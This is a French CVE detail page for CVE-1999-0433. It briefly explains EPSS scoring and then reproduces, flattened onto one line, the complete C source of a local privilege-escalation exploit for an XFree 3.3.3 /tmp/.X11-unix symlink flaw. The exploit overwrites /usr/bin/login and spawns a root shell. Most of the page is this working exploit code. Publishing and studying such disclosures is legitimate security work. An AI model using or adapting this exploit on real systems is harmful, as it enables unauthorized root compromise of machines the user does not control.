CVE-1999-0433 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/326/info There is a symlink vulnerability known to exist under most modern linux and NetBSD distributions. It involves /tmp/.X11-unix and the tendency to follow to/overwrite the file pointed to if a symlink. It may be possible for a regular user to write arbritrary data to a file they normally have no write access to resulting in a root compromise. /*** local XFree 3.3.3-symlink root-compromise. *** Tested under FreeBSD 3.1 (but should work on others 2) *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G. *** (check out http://www.kalug.lug.net/stealth or /coding for *** other kewl stuff!) *** *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK. *** Even if this program restores all, you should backup your *** login before running this. ***/ #include <stdio.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #define LOGIN "/usr/bin/login" #define TELNET "/usr/bin/telnet" int cp(const char*, const char*, int); int main(int argc, char **argv) { char *telnet[] = {TELNET, "localhost", NULL}; char *shell[] = {"/bin/sh", NULL}; char *X[] = {"/usr/X11R6/bin/xinit", NULL}; FILE *f = NULL; int p = 0; char buf[1000] = {0}; /* the rootshell */ if (!geteuid() || !getuid()) { unlink(LOGIN); cp("/tmp/L", LOGIN, 1); chmod(LOGIN, 04555); printf("Welcome!\n"); unlink("/tmp/.X11-unix"); unlink("/tmp/L"); execve(*shell, shell, NULL); } /* back up */ cp(LOGIN, "/tmp/L", 1); if (symlink(LOGIN, "/tmp/.X11-unix") < 0) { perror("symlink (/tmp/.X11-unix)"); exit(errno); } if ((p = fork()) < 0) { perror("fork"); exit(errno); } else if (p > 0) { sleep(7); kill(p, 9); cp(argv[0], LOGIN, 1); execve(telnet[0], telnet, NULL); perror("fatal:"); } else { printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n"); printf("\n-> Please give me some seconds... <-\n\n"); execve(X[0], X, NULL); } return 0; } int cp(const char *from, const char *to, int how) { int in = 0, out = 0, r = 0; char buf[1000] = {0}; printf("cp %s %s\n", from, to); /* overwrite ? */ if (how == 1) how = O_RDWR|O_TRUNC|O_CREAT; else how = O_RDWR|O_CREAT; if ((out = open(to, how)) < 0) { perror("open 1"); exit(errno); } if ((in = open(from, O_RDONLY)) < 0) { perror("open 2"); exit(errno); } while ((r = read(in, buf, 1000-1)) > 0) { write(out,buf,r); memset(buf,0,1000); } close(in); close(out); return 0; }